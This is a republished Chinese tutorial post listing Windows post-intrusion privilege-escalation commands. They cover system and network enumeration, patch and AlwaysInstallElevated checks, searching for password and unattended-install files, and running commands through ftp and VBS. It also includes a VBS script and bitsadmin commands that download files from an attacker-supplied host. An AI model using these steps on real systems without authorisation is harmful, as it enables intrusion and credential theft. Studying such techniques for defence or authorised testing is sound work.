Windows內網滲透提權的幾個實用命令


batch-basics-understanding-windows-command-line-part-1-echo-and-variables.1280x600.jpg

這不是一篇滲透測試指導,而是簡單介紹了幾個Windows內網提權的實用命令,以供我等菜鳥學習觀摩,還望大牛包涵指導。

1.獲取操作系統信息

識別操作系統名稱及版本:

 

 

C:\Users\thel3l> systeminfo | findstr /B /C:"OS Name" /C:"OS Version" 
OS Name: Microsoft Windows 10 Pro OS Version: 10.0.14393 N/A Build 14393

當然中文系統你得這樣:

 

systeminfo | findstr /B /C:"OS 名稱" /C:"OS 版本"

識別系統體系結構:

 

C:\Users\thel3l> echo %PROCESSOR_ARCHITECTURE%  AMD64

 

查看所有環境變量:

 

 

C:\Users\thel3l> SET
USERNAME=thel3l USERPROFILE=C:\Users\thel3l *snip*

查看某特定用戶信息:

 

 

C:\Users\thel3l>net user thel3l 
User name thel3l *snip* The command completed successfully

2.獲取網絡信息

查看路由表信息:

 

C:\Users\thel3l> route print

查看ARP緩存信息:

 

C:\Users\thel3l> arp -A 

 

查看防火牆規則:

 

 

C:\Users\thel3l> netstat -ano 
C:\Users\thel3l> netsh firewall show config C:\Users\thel3l> netsh firewall show state

3.應用程序及服務信息

查看計划任務:

 

C:\Users\thel3l> schtasks /QUERY /fo LIST /v 

 

中文系統的命令,先調整GBK編碼為437美國編碼:

 

chcp 437

然后

schtasks /QUERY /fo LIST /v

 

查看服務進程ID:

 

C:\Users\thel3l> tasklist /SVC

查看安裝驅動:

 

C:\Users\thel3l> DRIVERQUERY 

 

查看安裝程序和版本信息(漏洞利用線索):

 

C:\Users\thel3l> wmic product list brief 

 

查看服務、進程和啟動程序信息:

 

C:\Users\thel3l> wmic service list brief  C:\Users\thel3l> wmic process list brief C:\Users\thel3l> wmic startup list brief 

 

查看.msi程序的執行權限:

 

 

C:\Users\thel3l> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
C:\Users\thel3l> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

查看是否設置有setuid和setgid:

 

 

C:\Users\thel3l> 
reg query HKEY_Local_Machine\System\CurrentControlSet\Services\NfsSvr\Parameters\SafeSetUidGidBits

查看安裝補丁和時間信息:

 

C:\Users\thel3l> wmic qfe get Caption,Description,HotFixID,InstalledOn

 

 

 

查看特定漏洞補丁信息:

 

C:\Users\thel3l> wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KBxxxxxxx"

4.敏感數據和目錄

 

查找密碼文件或其它敏感文件:

 

 

C:\Users\thel3l> cd/  C:\Users\thel3l> dir /b/s password.txt C:\Users\thel3l> dir /b/s config.*  C:\Users\thel3l> findstr /si password *.xml *.ini *.txt C:\Users\thel3l> findstr /si login *.xml *.ini *.txt

 

 

無人值守安裝文件:

這些文件通常包含base64模式的密碼信息。這類文件在一些大型企業網絡或GHO系統中可以發現,文件通常的位置如下:

 

C:\sysprep.inf C:\sysprep\sysprep.xml C:\Windows\Panther\Unattend\Unattended.xml C:\Windows\Panther\Unattended.xml

 

5.文件系統

可以通過調用系統預安裝程序語言查看當前可訪問目錄或文件權限,如python下:

 

import os; os.system("cmd /c {command here}") 

使用copy con命令創建ftp執行會話:

范例

 

 

 

 

C:\Users\thel3l> copy con ftp.bat #創建一個名為ftp.bat的批處理文件
ftp # 輸入執行會話名稱,按回車到下一行,之后按CTRL+Z結束編輯,再按回車退出 C:\Users\thel3l> ftp.bat # 執行創建的文件 ftp> # 執行ftp命令 ftp> !{command} # e.g. - !dir or !ipconfig

 

 

使用copy con命令創建VBS腳本文件:

 

C:\Users\thel3l> copy con commandExec.vbs #創建VBS腳本文件 Call WScript.CreateObject("Wscript.Shell").Run("cmd /K {command}", 8, True) #VBS文件內容 C:\Users\thel3l> commandExec.vbs #執行腳本文件

 

檢查文件夾可寫狀態:

 

C:\Users\thel3l> dir /a-r-d /s /b

 

6.一個有用的文件上傳腳本

 

' downloadfile.vbs 

' Set your settings

strFileURL = "http://{YOUR_IP}/{FILE_NAME.EXT}"

strHDLocation = "c:\\{FILE_NAME.EXT}"

' Fetch the file

Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")

objXMLHTTP.open "GET", strFileURL, false

objXMLHTTP.send()

If objXMLHTTP.Status = 200 Then

Set objADOStream = CreateObject("ADODB.Stream")

objADOStream.Open

objADOStream.Type = 1 'adTypeBinary

objADOStream.Write objXMLHTTP.ResponseBody

objADOStream.Position = 0 'Set the stream position to the start

Set objFSO = Createobject("Scripting.FileSystemObject")

If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation

Set objFSO = Nothing

objADOStream.SaveToFile strHDLocation

objADOStream.Close

Set objADOStream = Nothing

End if

Set objXMLHTTP = Nothing

 

該腳本是一個社區發布的,你可以以下這種方式運行它:

 

C:\Users\thel3l>cscript.exe downloadfile.vbs

 

bitsadmin命令:

如果你的目標系統是Windows 7及以上操作系統,你可以使用bitsadmin命令,bitsadmin是一個命令行工具,可用於創建下載上傳進程:

范例

 

C:\Users\thel3l> bitsadmin /transfer job_name /download /priority priority URL local\path\file 

C:\Users\thel3l> bitsadmin /transfer mydownloadjob /download /priority normal ^ http://{YOUR_IP}/{FILE_NAME.EXT} 

C:\Users\username\Downloads\{FILE_NAME.EXT}

 

如:

 

bitsadmin /transfer n http://download.fb.com/file/xx.zip c:\pentest\xx.zip


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM